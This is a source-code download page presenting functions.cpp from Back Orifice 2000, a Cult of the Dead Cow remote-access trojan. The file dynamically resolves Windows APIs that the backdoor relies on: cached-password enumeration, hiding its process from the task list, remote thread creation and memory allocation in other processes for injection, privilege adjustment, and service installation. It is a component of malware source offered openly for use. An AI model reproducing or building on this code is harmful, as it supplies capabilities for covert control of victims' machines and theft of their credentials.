functions.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:9k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<windef.h>
  17. #include<lmcons.h>
  18. #include<lmshare.h>
  19. #include<tlhelp32.h>
  20. #include<functions.h>
  21. #include<osversion.h>
  22. HINSTANCE ghDll_NetApi32;
  23. HINSTANCE ghDll_SvrApi;
  24. HINSTANCE ghDll_Mpr;
  25. HINSTANCE ghDll_Kernel32;
  26. HINSTANCE ghDll_AdvApi32;
  27. CREATESNAPSHOT pCreateToolhelp32Snapshot; 
  28. MODULEWALK  pModule32First; 
  29. MODULEWALK  pModule32Next; 
  30. PROCESSWALK pProcess32First; 
  31. PROCESSWALK pProcess32Next; 
  32. THREADWALK  pThread32First; 
  33. THREADWALK  pThread32Next; 
  34. REGSERVICEPROC pRegisterServiceProcess;
  35. CREATEREMOTETHREAD pCreateRemoteThread;
  36. VIRTUALALLOCEX pVirtualAllocEx;
  37. VIRTUALFREEEX pVirtualFreeEx;
  38. VIRTUALQUERYEX pVirtualQueryEx;
  39. VIRTUALPROTECTEX pVirtualProtectEx;
  40. ENUMPASSWORD pWNetEnumCachedPasswords;
  41. WNETCLOSEENUM pWNetCloseEnum;
  42. WNETENUMRESOURCE pWNetEnumResource;
  43. WNETOPENENUM pWNetOpenEnum;
  44. WNETCANCELCONNECTION2 pWNetCancelConnection2;
  45. WNETADDCONNECTION2 pWNetAddConnection2;
  46. LMS_NETSESSIONENUM pLMSNetSessionEnum;
  47. LMS_NETSHAREENUM pLMSNetShareEnum;
  48. LMS_NETSHAREDEL pLMSNetShareDel;
  49. LMS_NETSHAREADD pLMSNetShareAdd;
  50. LMS_NETAPIBUFFERFREE pLMSNetApiBufferFree;
  51. SVR_NETSESSIONENUM pSVRNetSessionEnum;
  52. SVR_NETSHAREENUM pSVRNetShareEnum;
  53. SVR_NETSHAREDEL pSVRNetShareDel;
  54. SVR_NETSHAREADD pSVRNetShareAdd;
  55. REGSETKEYSECURITY pRegSetKeySecurity;
  56. SETSECURITYDESCRIPTORDACL pSetSecurityDescriptorDacl;
  57. GETACE pGetAce;
  58. ADDACCESSALLOWEDACE pAddAccessAllowedAce;
  59. INITIALIZEACL pInitializeAcl;
  60. INITIALIZESECURITYDESCRIPTOR pInitializeSecurityDescriptor;
  61. GETLENGTHSID pGetLengthSid;
  62. LOOKUPACCOUNTNAME pLookupAccountName;
  63. LOOKUPACCOUNTSID pLookupAccountSid;
  64. GETSECURITYDESCRIPTORDACL pGetSecurityDescriptorDacl;
  65. GETSECURITYDESCRIPTORGROUP pGetSecurityDescriptorGroup;
  66. GETSECURITYDESCRIPTOROWNER pGetSecurityDescriptorOwner;
  67. OPENPROCESSTOKEN pOpenProcessToken;
  68. LOOKUPPRIVILEGEVALUE pLookupPrivilegeValue;
  69. ADJUSTTOKENPRIVILEGES pAdjustTokenPrivileges;
  70. REGGETKEYSECURITY pRegGetKeySecurity;
  71. OPENSCMANAGER pOpenSCManager;
  72. CREATESERVICE pCreateService;
  73. CLOSESERVICEHANDLE pCloseServiceHandle;
  74. OPENSERVICE pOpenService;
  75. STARTSERVICECTRLDISPATCHER pStartServiceCtrlDispatcher;
  76. REGISTERSERVICECTRLHANDLER pRegisterServiceCtrlHandler;
  77. SETSERVICESTATUS pSetServiceStatus;
  78. DELETESERVICE pDeleteService;
  79. GETSERVICEDISPLAYNAME pGetServiceDisplayName;
  80. STARTSERVICE pStartService;
  81. int InitDynamicLibraries(void)
  82. {
  83. if(g_bIsWinNT) {
  84. ghDll_NetApi32 = LoadLibrary("NETAPI32.DLL");
  85. if(ghDll_NetApi32==NULL) return -1;
  86. pLMSNetSessionEnum = (LMS_NETSESSIONENUM)GetProcAddress(ghDll_NetApi32, "NetSessionEnum");
  87. pLMSNetShareEnum = (LMS_NETSHAREENUM)GetProcAddress(ghDll_NetApi32, "NetShareEnum");
  88. pLMSNetShareDel = (LMS_NETSHAREDEL)GetProcAddress(ghDll_NetApi32, "NetShareDel");
  89. pLMSNetShareAdd = (LMS_NETSHAREADD)GetProcAddress(ghDll_NetApi32, "NetShareAdd");
  90. pLMSNetApiBufferFree = (LMS_NETAPIBUFFERFREE) GetProcAddress(ghDll_NetApi32, "NetApiBufferFree");
  91. } else {
  92. ghDll_SvrApi = LoadLibrary("SVRAPI.DLL"); 
  93. if(ghDll_SvrApi==NULL) return -1;
  94. pSVRNetSessionEnum = (SVR_NETSESSIONENUM)GetProcAddress(ghDll_SvrApi, "NetSessionEnum");
  95. pSVRNetShareEnum = (SVR_NETSHAREENUM)GetProcAddress(ghDll_SvrApi, "NetShareEnum");
  96. pSVRNetShareDel = (SVR_NETSHAREDEL)GetProcAddress(ghDll_SvrApi, "NetShareDel");
  97. pSVRNetShareAdd = (SVR_NETSHAREADD)GetProcAddress(ghDll_SvrApi, "NetShareAdd");
  98. }
  99. ghDll_Mpr=LoadLibrary("MPR.DLL");
  100. if(ghDll_Mpr==NULL) return -1;
  101. if(!g_bIsWinNT) {
  102. pWNetEnumCachedPasswords = (ENUMPASSWORD)GetProcAddress(ghDll_Mpr, "WNetEnumCachedPasswords");
  103. }
  104. pWNetCloseEnum = (WNETCLOSEENUM)GetProcAddress(ghDll_Mpr, "WNetCloseEnum");
  105. pWNetEnumResource = (WNETENUMRESOURCE)GetProcAddress(ghDll_Mpr, "WNetEnumResourceA");
  106. pWNetOpenEnum = (WNETOPENENUM)GetProcAddress(ghDll_Mpr, "WNetOpenEnumA");
  107. pWNetCancelConnection2 = (WNETCANCELCONNECTION2)GetProcAddress(ghDll_Mpr, "WNetCancelConnection2A");
  108. pWNetAddConnection2 = (WNETADDCONNECTION2)GetProcAddress(ghDll_Mpr, "WNetAddConnection2A");
  109. ghDll_Kernel32=LoadLibrary("KERNEL32.DLL");
  110. if(ghDll_Kernel32==NULL) return -1;
  111.     
  112. if(!g_bIsWinNT) {
  113. pCreateToolhelp32Snapshot = (CREATESNAPSHOT)GetProcAddress(ghDll_Kernel32,
  114. "CreateToolhelp32Snapshot"); 
  115.         pModule32First  = (MODULEWALK)GetProcAddress(ghDll_Kernel32, 
  116.             "Module32First"); 
  117.         pModule32Next   = (MODULEWALK)GetProcAddress(ghDll_Kernel32,
  118.             "Module32Next"); 
  119.         pProcess32First = (PROCESSWALK)GetProcAddress(ghDll_Kernel32, 
  120.             "Process32First"); 
  121.         pProcess32Next  = (PROCESSWALK)GetProcAddress(ghDll_Kernel32, 
  122.             "Process32Next"); 
  123.         pThread32First  = (THREADWALK)GetProcAddress(ghDll_Kernel32, 
  124.             "Thread32First"); 
  125.         pThread32Next   = (THREADWALK)GetProcAddress(ghDll_Kernel32, 
  126.             "Thread32Next"); 
  127. pRegisterServiceProcess = (REGSERVICEPROC)GetProcAddress(ghDll_Kernel32,
  128. "RegisterServiceProcess");
  129. } else {
  130. pCreateRemoteThread=(CREATEREMOTETHREAD) GetProcAddress(ghDll_Kernel32,
  131. "CreateRemoteThread");
  132.         pVirtualProtectEx = (VIRTUALPROTECTEX)GetProcAddress(ghDll_Kernel32, 
  133.             "VirtualProtectEx"); 
  134.         pVirtualAllocEx = (VIRTUALALLOCEX)GetProcAddress(ghDll_Kernel32, 
  135.             "VirtualAllocEx"); 
  136.         pVirtualQueryEx   = (VIRTUALQUERYEX)GetProcAddress(ghDll_Kernel32, 
  137.             "VirtualQueryEx"); 
  138.         pVirtualFreeEx   = (VIRTUALFREEEX)GetProcAddress(ghDll_Kernel32, 
  139.             "VirtualFreeEx"); 
  140. }
  141. ghDll_AdvApi32=LoadLibrary("ADVAPI32.DLL");
  142. if(ghDll_AdvApi32==NULL) return -1;
  143.     
  144. if(g_bIsWinNT) {
  145. pRegSetKeySecurity = (REGSETKEYSECURITY)GetProcAddress(ghDll_AdvApi32,
  146. "RegSetKeySecurity");
  147. pSetSecurityDescriptorDacl = (SETSECURITYDESCRIPTORDACL)GetProcAddress(ghDll_AdvApi32,
  148. "SetSecurityDescriptorDacl");
  149. pGetAce = (GETACE)GetProcAddress(ghDll_AdvApi32,
  150. "GetAce");
  151. pAddAccessAllowedAce = (ADDACCESSALLOWEDACE)GetProcAddress(ghDll_AdvApi32,
  152. "AddAccessAllowedAce");
  153. pInitializeAcl = (INITIALIZEACL)GetProcAddress(ghDll_AdvApi32,
  154. "InitializeAcl");
  155. pInitializeSecurityDescriptor = (INITIALIZESECURITYDESCRIPTOR)GetProcAddress(ghDll_AdvApi32,
  156. "InitializeSecurityDescriptor");
  157. pGetLengthSid = (GETLENGTHSID)GetProcAddress(ghDll_AdvApi32,
  158. "GetLengthSid");
  159. pLookupAccountName = (LOOKUPACCOUNTNAME)GetProcAddress(ghDll_AdvApi32,
  160. "LookupAccountNameA");
  161. pLookupAccountSid = (LOOKUPACCOUNTSID)GetProcAddress(ghDll_AdvApi32,
  162. "LookupAccountSidA");
  163. pGetSecurityDescriptorDacl = (GETSECURITYDESCRIPTORDACL)GetProcAddress(ghDll_AdvApi32,
  164. "GetSecurityDescriptorDacl");
  165. pGetSecurityDescriptorGroup = (GETSECURITYDESCRIPTORGROUP)GetProcAddress(ghDll_AdvApi32,
  166. "GetSecurityDescriptorGroup");
  167. pGetSecurityDescriptorOwner = (GETSECURITYDESCRIPTOROWNER)GetProcAddress(ghDll_AdvApi32,
  168. "GetSecurityDescriptorOwner");
  169. pOpenProcessToken = (OPENPROCESSTOKEN)GetProcAddress(ghDll_AdvApi32,
  170. "OpenProcessToken");
  171. pLookupPrivilegeValue = (LOOKUPPRIVILEGEVALUE)GetProcAddress(ghDll_AdvApi32,
  172. "LookupPrivilegeValueA");
  173. pAdjustTokenPrivileges = (ADJUSTTOKENPRIVILEGES)GetProcAddress(ghDll_AdvApi32,
  174. "AdjustTokenPrivileges");
  175. pRegGetKeySecurity = (REGGETKEYSECURITY)GetProcAddress(ghDll_AdvApi32,
  176. "RegGetKeySecurity");
  177. pOpenSCManager=(OPENSCMANAGER) GetProcAddress(ghDll_AdvApi32,
  178. "OpenSCManagerA");
  179. pCreateService=(CREATESERVICE) GetProcAddress(ghDll_AdvApi32,
  180. "CreateServiceA");
  181. pCloseServiceHandle=(CLOSESERVICEHANDLE) GetProcAddress(ghDll_AdvApi32,
  182. "CloseServiceHandle");
  183. pOpenService=(OPENSERVICE) GetProcAddress(ghDll_AdvApi32,
  184. "OpenServiceA");
  185. pStartServiceCtrlDispatcher=(STARTSERVICECTRLDISPATCHER) GetProcAddress(ghDll_AdvApi32,
  186. "StartServiceCtrlDispatcherA");
  187. pRegisterServiceCtrlHandler=(REGISTERSERVICECTRLHANDLER) GetProcAddress(ghDll_AdvApi32,
  188. "RegisterServiceCtrlHandlerA");
  189. pSetServiceStatus=(SETSERVICESTATUS) GetProcAddress(ghDll_AdvApi32,
  190. "SetServiceStatus");
  191. pDeleteService=(DELETESERVICE) GetProcAddress(ghDll_AdvApi32,
  192. "DeleteService");
  193. pGetServiceDisplayName=(GETSERVICEDISPLAYNAME) GetProcAddress(ghDll_AdvApi32,
  194. "GetServiceDisplayNameA");
  195. pStartService=(STARTSERVICE) GetProcAddress(ghDll_AdvApi32,
  196. "StartServiceA");
  197. }
  198. return 0;
  199. }
  200. int KillDynamicLibraries(void)
  201. {
  202. if(ghDll_AdvApi32!=NULL) 
  203. FreeLibrary(ghDll_AdvApi32);
  204. if(ghDll_Kernel32!=NULL) 
  205. FreeLibrary(ghDll_Kernel32);
  206. if(ghDll_Mpr!=NULL) 
  207. FreeLibrary(ghDll_Mpr);
  208. if(ghDll_NetApi32!=NULL) 
  209. FreeLibrary(ghDll_NetApi32);
  210. if(ghDll_SvrApi!=NULL) 
  211. FreeLibrary(ghDll_SvrApi);
  212. return 0;
  213. }